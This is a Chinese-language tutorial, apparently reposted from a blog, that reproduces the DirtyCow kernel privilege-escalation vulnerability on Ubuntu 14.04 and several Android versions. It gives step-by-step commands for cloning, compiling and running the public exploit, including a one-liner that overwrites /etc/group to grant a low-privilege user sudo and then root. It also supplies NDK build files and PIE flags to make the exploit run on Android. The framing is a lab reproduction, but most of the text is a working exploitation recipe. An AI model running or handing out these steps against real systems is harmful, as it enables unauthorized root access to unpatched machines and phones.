DirtyCow漏洞复现(脏牛、大脏牛、Linux、Android、提权)
編譯好的EXP下載地址:?https://github.com/Brucetg/DirtyCow-EXP
該漏洞是 Linux 內(nèi)核的內(nèi)存子系統(tǒng)在處理寫時拷貝(Copy-on-Write)時存在條件競爭漏洞, 導致可以破壞私有只讀內(nèi)存映射。黑客可以在獲取低權(quán)限的的本地用戶后,利用此漏洞獲取 其他只讀內(nèi)存映射的寫權(quán)限,進一步獲取 root 權(quán)限。
?
1.Linux
Ubuntu 14.04 :
1)添加用戶:
sudo adduser test輸入兩次密碼后一直回車就行,查看當前用戶的信息,終端輸入 id,回車,可以看到當 前用戶是有 sudo 權(quán)限的。
切換到剛剛新建的 test 用戶,同樣輸入 id,查看 test 用戶的信息,發(fā)現(xiàn) test 用戶沒有 sudo 權(quán)限,
2)運行DirtyCow的exp進行提權(quán):
git clone https://github.com/dirtycow/dirtycow.github.io cd dirtycow.github.io編譯exp:
gcc dirtyc0w.c -o dirtycow lpthread執(zhí)行exp:
./dirtycow /etc/group “$(sed ‘/\(sudo*\)/ s/$/,test/’ /etc/group)”新打開一個終端,切換到test,查看test用戶信息,可以看到test用戶已經(jīng)擁有了sudo權(quán)限,執(zhí)行sudo su ,輸入test用戶的密碼后就可以切換到root權(quán)限,提權(quán)成功。
漏洞成因:
Linux寫時拷貝技術(shù)(copy-on-write)
在Linux系統(tǒng)中,fork()會產(chǎn)生一個和父進程完全相同的子進程,但子進程在此后多會exec系統(tǒng)調(diào)用,出于效率考慮,Linux系統(tǒng)中引入了“寫時復制”技術(shù),也就是只有進程空間的各段的內(nèi)容要發(fā)生變化時,才會將父進程的內(nèi)容復制一份給子進程。
?
2.Android:
Linux上編譯好的exp在Android平臺上不能用,使用NDK編譯下載好的exp:
EXP下載地址:
https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c1. Android Studio中安裝NDK,把cmake和LLDB也安裝一下:
2. 在?https://github.com/googlesamples/android-ndk?下載源碼,導入Android Studio
如果導入項目時Android studio好像卡住了一樣,有可能是Android Studio在后臺正在下載東西,沿著這個路徑:項目/gradle/wrapper找到這個文件: gradle-wrapper.properties,打開它看看最后一行的gradle版本,若版本和你現(xiàn)有的版本不一致,可以去http://services.gradle.org/distributions/?上下載相應的版本,手動拷貝到:
C:\Users\用戶名\.gradle\wrapper\dists\gradle-4.1-all\bzyivzo6n839fup2jbap0tjew 目錄下注:這里的 bzyivzo6n839fup2jbap0tjew 是隨機的
將下載好的android-ndk源碼解壓到某個位置,這里我是解壓到了桌面上,所以在我個人的的計算機上android-ndk路徑如下:
C:\Users\wangzt\Desktop\android-ndk我們只需要用下面路徑中的相應文件即可:
C:\Users\wangzt\Desktop\android-ndk\hello-jni\app\src\main\在main目錄下新建文件夾jni,在jni文件夾中新建兩個文件:Android.mk 和Application.mk,內(nèi)容如下:
Android.mk
LOCAL_PATH:= $(call my-dir)include $(CLEAR_VARS) LOCAL_SRC_FILES:= dirtyc0w.c LOCAL_MODULE:= dirtycowLOCAL_FORCE_STATIC_EXECUTABLE := true #LOCAL_STATIC_LIBRARIES := libc #LOCAL_CFLAGS += -Iinclude/dir -DSOMEFLAGSinclude $(BUILD_EXECUTABLE)Application.mk
APP_ABI := all要編譯的文件:
3. 編譯EXP:
命令行下cd 到如下目錄:
C:\Users\wangzt\Desktop\android-ndk\hello-jni\app\src\main\jni>執(zhí)行命令:
D:\AndroidSDK\ndk-bundle\ndk-build編譯成功后,在main目錄下的libs文件夾中即可找到編譯好的對應平臺的EXP:
編譯好的exp:
?
Android 4.4
adb連接手機(手機需開啟USB調(diào)試):
查看和adb連接的設(shè)備:
在/system/bin/目錄下新建文件test_dirty_cow,并且將其權(quán)限修改為644
將編譯好的EXP push到測試機的/data/local/tmp/目錄下的dirtycow文件中(這里選用的編譯好的POC是armeabi 平臺的,arm64-v8a經(jīng)測試不能使用,可以根據(jù)自己用的測試機的架構(gòu)選擇相應的平臺):
修改EXP權(quán)限:
當前用戶權(quán)限(shell):
切換到root權(quán)限,向test_dirty_cow文件中寫入 123456,寫入之后再切換為普通用戶權(quán)限(shell),以普通用戶權(quán)限執(zhí)行EXP(下同):
/data/local/tmp/dirtycow /system/bin/test_dirty_cow modify
然后查看test_dirty_cow中的內(nèi)容,發(fā)現(xiàn)文件內(nèi)容已被修改為modify,復現(xiàn)成功:
Android 6.0.1 (安全補丁程序級別: 2017年2月1日)
測試機系統(tǒng)具體信息:
Android 6.0.1 默認關(guān)閉了并隱藏了開發(fā)者選項,需要在關(guān)于手機里的版本號處連續(xù)點擊5次版本號才可以啟用開發(fā)者選項,然后在開發(fā)者選項中啟用USB調(diào)試。
接著我們在 /system/bin 目錄下創(chuàng)建一個普通用戶沒有寫權(quán)限的文件,因為默認的 /system 目錄是只讀的,所以需要 remount /system
注意:
mount -o rw,remount /system上述命令中,remount和它前面的逗號之間不要有空格。
接下來的操作步驟和在Android 4.4 系統(tǒng)中差不多:
adb中切換為root權(quán)限,將新建的test_dirtycow 文件的權(quán)限修改為 644
給EXP可執(zhí)行權(quán)限:
執(zhí)行EXP 報錯:
PIE這個安全機制從4.1引入,但是Android L之前的系統(tǒng)版本并不會去檢驗可執(zhí)行文件是否基于PIE編譯出的。因此不會報錯。但是Android L已經(jīng)開啟驗證,如果調(diào)用的可執(zhí)行文件不是基于PIE方式編譯的,則無法運行。解決辦法非常簡單,在Android.mk中加入如下flag即可。
LOCAL_CFLAGS += -pie -fPIE LOCAL_LDFLAGS += -pie -fPIE修改后的Android.mk 文件:
LOCAL_PATH:= $(call my-dir)include $(CLEAR_VARS) LOCAL_SRC_FILES:= dirtyc0w.c LOCAL_MODULE:= dirtycowLOCAL_FORCE_STATIC_EXECUTABLE := true #LOCAL_STATIC_LIBRARIES := libc #LOCAL_CFLAGS += -Iinclude/dir -DSOMEFLAGSLOCAL_CFLAGS += -pie -fPIE LOCAL_LDFLAGS += -pie -fPIEinclude $(BUILD_EXECUTABLE)Application.mk
APP_ABI := all編譯EXP:
Windows命令行下進行編譯,因為我下載的ndk 存放在D:\AndroidSDK\ndk-bundle文件夾中,所以只需要在命令行下輸入如下命令進行編譯:
D:\AndroidSDK\ndk-bundle\ndk-build經(jīng)測試,不能任意修改文件內(nèi)容:
因為這個Android 6.0的系統(tǒng)安全補丁是2017年2月份的,估計漏洞已經(jīng)修補好了。
Android 6.0.1_r68(安全補丁程序級別: 2016年9月6日)
不多說,一樣的操作:
可以看到test_dirtyc0w文件中的內(nèi)容被修改為 modify,復現(xiàn)成功。
Android 5.1.1
復現(xiàn)過程:
用的EXP是測試Android 6.0.1時編譯好的,拿來直接用即可。
在/system/bin目錄下新建文件 test_dirty,試了幾次沒有成功:
解決辦法:執(zhí)行
mount -o rw,remount /system并將新建的test_dirty 權(quán)限修改為644:
向文件test_dirty中寫入 123456,執(zhí)行EXP:
/data/local/tmp/dirtycow /system/bin/test_dirty modifyEXP執(zhí)行一段時間后即可停止,此時再次查看 test_dirty 文件中的內(nèi)容,發(fā)現(xiàn)文件內(nèi)容已被更改為 modify,復現(xiàn)成功:
總結(jié)
以上是生活随笔為你收集整理的DirtyCow漏洞复现(脏牛、大脏牛、Linux、Android、提权)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: C# task和timer实现定时操作
- 下一篇: java程序运存扩容